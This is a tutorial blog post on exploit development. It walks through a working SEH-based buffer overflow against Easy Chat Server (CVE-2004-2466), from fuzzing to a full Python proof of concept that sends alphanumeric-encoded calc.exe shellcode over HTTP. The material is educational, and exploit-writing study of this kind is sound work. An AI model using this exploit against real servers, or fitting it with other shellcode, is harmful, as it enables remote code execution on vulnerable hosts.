Easy Chat Server Exploit (<=3.1) - SEH Stack Based Overflow

The following is an older Easy Chat Server Exploit for versions <3.1 (CVE-2004-2466). That said, this is a great example of utilizing SEH for exploit writing and reliability.

Introduction

I did most of this a while ago, so if some of my notes/steps seem off, then I apologize.

The vulnerability in question is a simple stack based overflow in the username of a web-based chat server. While this mentions lower versions, here is the relevant CVE.

This post will cover finding the vulnerability, and exploiting it locally on a Windows host.

Resources

Exploit DB by superkojiman – if you want to skip right to the end, here is an already working exploit for Win7 and version 3.1.

CVE Details (CVE-2004-2466) – as mentioned above, here is the original CVE for this vulnerability.

Corelan SEH based exploits – a great tutorial on SEH exploits and how to build them..

Grey Corner SEH tutorial – while not specific to this vulnerability, still a great resource to have handy while learning SEH exploits.

Understanding SEH Exploitation – a slightly different technique and final exploit than shown here, but performed against the same target application.

Installation and Verification

For those of you wanting to follow along, you can download the same version that I used here.

eccsetup.zip

As you can see, this is just a trial version of the software.

Easy Chat Server Exploit - Trial

While the exploit works on versions up to at least 3.1, I performed this exploit on 2.5.

Easy Chat Server Exploit - Version

As you can see, installation is simple, and the web interface comes right up while the server is running.

Easy Chat Server Exploit - Web interface

Finding the vulnerability

To start, like vulnerabilities, we will need to actually find the vulnerability.

In this case, I sent a long list of “A”s to the username parameter.

10.207.55.72:8123/chat.ghp?username=AA…AA&password=a&room=1

Easy Chat Server Exploit - Username

As you can see, this actually crashed the application.

Easy Chat Server Exploit - Crash

Running this same request through a debugger showed an access violation, which was a good sign.

Easy Chat Server Exploit - Access violation

Verifying that EIP was overwritten with 41414141 (AAAA), it seemed like an exploitable vulnerability was present.

Easy Chat Server Exploit - EIP

Writing the Exploit – EIP Control

First, it was time to find the offset for the EIP overwrite.

root@kali:/usr/share/metasploit-framework/tools# ruby pattern_create.rb 1000
Aa0Aa1Aa...Bg9Bh0Bh1Bh2B

With a cyclical pattern in hand, I modified the request and restarted the debugger. Now, EIP was being overwritten with 68413168.

Easy Chat Server Exploit - EIP pattern

Pattern offset showed that this was 214 characters into the payload.

root@kali:/usr/share/metasploit-framework/tools# ruby pattern_offset.rb 68413168 10000
[*] Exact match at offset 214

To verify this, I also wrote the exploit framework in Python that I’d use for the rest of this process.

import socket

buf = "\x41" * 214
buf += "\x42" * 4
buf += "\x43" * 100


head  = "GET /chat.ghp?username="+buf+"&password=a&room=1 HTTP/1.1\r\n"
head += "Host: 10.207.55.74\r\n"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.207.55.74',8123))
s.send(head + "\r\n\r\n")
s.close()

It worked, and EIP was overwritten with 42424242!

Easy Chat Server Exploit - EIP control

Exploit – SEH Time

While it looks like we have control of EIP, I did mention earlier that this was an SEH exploit tutorial. After reaching the access violation, I hit Shift+F9 to pass the exception to the program.

To view the SEH chain of the application, I used the View -> SEH Chain option in OllyDbg. As you can see, the SEH handler has been overwritten with the “B”s from earlier.

Easy Chat Server Exploit - SEH overwritten

Next up was to find a module with SafeSEH off. To do this, I used the OllySEH plugin.

Easy Chat Server Exploit - OllySEH

In this case, I decided to start with SSLEAY32.dll since it was already loaded into memory and was less likely to have bad characters.

First, I opened up the executable modules and double clicked on the DLL.

Easy Chat Server Exploit - Executable modules

Once the DLL was open in the debugger, it was time to search for a POP, POP, RETN sequence. The reason for using this gadget is best explained in the Corelan tutorial.

How exactly does the pop pop ret function when working with SEH based exploits?
When an exception occurs, the exception dispatcher creates its own stack frame. It will push elements from the EH Handler on to the newly created stack (as part of a function prologue). One of the fields in the EH Structure is the EstablisherFrame. This field points to the address of the exception registration record (the next SEH) that was pushed onto the program stack. This same address is also located at ESP+8 when the handler is called. Now if we overwrite the handler with the address of a pop pop ret sequence :

* the first pop will take off 4 bytes from the stack
* the second pop will take another 4 bytes from the stack
* the ret will take the current value from the top of ESP ( = the address of the next SEH, which was at ESP+8, but because of the 2 pop’s now sits at the top of the stack) and puts that in EIP.

We have overwritten the next SEH with some basic jumpcode (instead of an address), so the code gets executed.

In fact, the next SEH field can be considered as the first part of our shellcode (jumpcode).

To find this gadget I right clicked inside of the CPU window and selected Search for -> Sequence of commands. Note that r32 is shorthand for any 32-bit register, since we don’t care where our data gets popped.

Easy Chat Server Exploit - POP POP RET

The instructions were found at 0x10010FE7, so it looked like I was in business.

Easy Chat Server Exploit - Gadget

With the POP, POP, RETN located, it was time to modify my exploit. As you can see, I’ve updated the offset to include 4 bytes of 0xCCCCCCCC (interrupt) to verify control.

buf = "\x41" * 210 # offset - 4 bytes
buf += "\xCC\xCC\xCC\xCC" # breakpoint
buf += "\xE7\x0F\x01\x10" # pop pop retn from ssleay32
buf += "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" # junk to verify

SEH/Stack Control

Upon initial execution, the application hits the access violation, and I pass the exception on to the program. From here, EIP now points to 0x10010FE7 (the address of the POP, POP, RETN) from earlier.

Easy Chat Server Exploit - SEH Jump

Once I step one more time, the debugger hits my breakpoint at the start of the gadget!

Easy Chat Server Exploit - PPR Breakpoint

Opening up the SEH chain again, the correct address was now being shown in the overwrite, with the breakpoint being set on it.

Easy Chat Server Exploit - SEH chain

Stepping through the POP, POP, RETN brought me to my interrupts, so I knew that I had control of execution and the stack.

Easy Chat Server Exploit - Interrupt

Getting a Working Payload

With everything in place, it was time to get an actual payload into my exploit.

First up, everyone’s favorite chore, finding the bad characters! There are two things to note in my updated payload. The first is that I removed (0x00, 0x20, 0x0a, 0x0d) from the list since I knew they would be bad (GET request parameters). The second is my addition of the 8 byte short jump (\xEB\x06\x90\x90). The reason for this is so that the application can jump over where we landed (currently the short jump) and then the address of the POP, POP, RETN.

buf = "\x41" * 210 # offset
buf += "\xEB\x06\x90\x90" # jump 8 bytes
buf += "\xE7\x0F\x01\x10" # pop pop retn from ssleay32


buf += "\x90" * 16 # NOP sled


buf += ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11" +
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" +
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" +
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e" +
"\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d" +
"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c" +
"\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b" +
"\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a" +
"\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89" +
"\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98" +
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7" +
"\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6" +
"\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5" +
"\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4" +
"\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3" +
"\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2" +
"\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

There looked like there were no other bad characters in the application, so that was good news.

Easy Chat Server Exploit - Bad characters

That said, this is where things got a little weird based on my inexperience. First, I took the win-exec-calc shellcode and my Binary to Hex converter and got some working calc shellcode. Then, I took that hex shellcode and wrote it to a file (yes, that would just create the binary that I already had). Finally, I used msfencode and the x86/alpha_mixed encoder to convert this new binary to encoded python shellcode.

root@kali:~# msfencode -e x86/alpha_mixed -b '\x00\x0a\x0d\x20' -i calc.bin -t python
[!] ************************************************************************
[!] *               The utility msfencode is deprecated!                   *
[!] *              It will be removed on or about 2015-06-08               *

I’m honestly not sure what past me was thinking, but I’d definitely do this differently today. Now I would just use msfvenom, a windows/exec cmd=calc.exe payload, and something like shikata_ga_nai just to get rid of the bad characters.

That said, once I had everything in place, this was my final exploit.

import socket

buf = "\x41" * 210 # offset
buf += "\xEB\x06\x90\x90" # jump 6 bytes
buf += "\xE7\x0F\x01\x10" # pop pop retn from ssleay32


buf += "\x90" * 16 # NOP sled


# win-exec-calc shellcode, x86/alpha_mixed encoded
buf += "\x89\xe6\xdb\xc2\xd9\x76\xf4\x59\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37"
buf += "\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"
buf += "\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
buf += "\x50\x38\x41\x42\x75\x4a\x49\x66\x51\x6a\x69\x61\x59"
buf += "\x46\x51\x6b\x62\x6d\x33\x32\x67\x33\x62\x51\x78\x73"
buf += "\x53\x51\x71\x70\x6c\x43\x53\x4d\x59\x4a\x46\x43\x62"
buf += "\x42\x76\x55\x34\x6e\x6b\x74\x32\x34\x70\x4e\x6b\x72"
buf += "\x56\x34\x4c\x4c\x4b\x51\x66\x36\x6c\x6e\x4d\x4e\x6b"
buf += "\x56\x50\x4c\x4b\x53\x4e\x62\x38\x4e\x6b\x73\x6f\x47"
buf += "\x4c\x6c\x4b\x51\x4c\x45\x4f\x63\x48\x4c\x4b\x74\x34"
buf += "\x55\x4f\x61\x30\x55\x51\x69\x6e\x6e\x6b\x62\x6c\x35"
buf += "\x4f\x76\x44\x65\x51\x69\x69\x34\x4f\x68\x37\x44\x6c"
buf += "\x63\x61\x71\x52\x4e\x4d\x6b\x31\x57\x4c\x73\x37\x51"
buf += "\x47\x45\x39\x70\x6e\x32\x65\x50\x75\x39\x61\x4c\x4b"
buf += "\x32\x54\x67\x6f\x67\x6c\x33\x31\x69\x6e\x43\x33\x37"
buf += "\x4c\x4c\x6e\x4b\x4f\x4a\x77\x31\x7a\x65\x30\x51\x4a"
buf += "\x35\x38\x43\x53\x30\x61\x72\x4c\x30\x63\x52\x74\x30"
buf += "\x59\x73\x78\x6e\x63\x68\x6c\x71\x38\x62\x45\x72\x68"
buf += "\x4e\x6b\x70\x32\x62\x68\x4e\x6b\x34\x36\x57\x68\x52"
buf += "\x68\x4e\x6b\x61\x66\x46\x70\x50\x48\x6e\x4d\x57\x38"
buf += "\x4c\x4b\x34\x70\x43\x78\x4c\x4b\x31\x6e\x66\x50\x34"
buf += "\x43\x70\x57\x37\x4c\x6e\x6b\x33\x6c\x46\x77\x61\x38"
buf += "\x6e\x6b\x44\x34\x35\x4f\x37\x50\x71\x58\x45\x51\x4b"
buf += "\x4e\x6c\x4b\x56\x34\x67\x6f\x56\x44\x66\x6f\x6d\x67"
buf += "\x36\x4c\x76\x77\x4c\x4d\x53\x62\x56\x62\x4e\x4d\x4d"
buf += "\x51\x35\x6c\x37\x77\x61\x47\x32\x49\x52\x4e\x37\x35"
buf += "\x52\x55\x58\x6f\x6e\x6b\x74\x34\x67\x6f\x57\x6c\x70"
buf += "\x48\x57\x71\x39\x6e\x4e\x6b\x35\x64\x6c\x6e\x33\x78"
buf += "\x63\x31\x4a\x57\x6a\x39\x69\x6f\x49\x47\x41\x41"


head = "GET /chat.ghp?username="+buf+"&password="+buf+"&room=1 HTTP/1.1\r\n"
head += "Host: 10.207.55.74\r\n"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.207.55.74',8123))
s.send(head + "\r\n\r\n")
s.close()

When I ran this against the target application, I got my crash and my calculator!

Easy Chat Server Exploit - Calc

Easy Chat Server Exploit – Conclusion

This was a fun exercise, and my first foray into writing SEH based exploits. That said, I initially thought that SEH was a type of vulnerability, not a method of exploit writing. Once I understood that, things became a bit clearer and easier. Other than that, it was funny to look back over a few of the mistakes and gaffes I made.

Hopefully you learned something from this, and maybe I’ll update my exploit and add it to my Github or Exploit DB page.

Other than that, be on the lookout for more exploit development posts soon!

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCP, eCPPT, eWPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Penetration Testing Consultant for SecureWorks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next (OSCE?!) or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*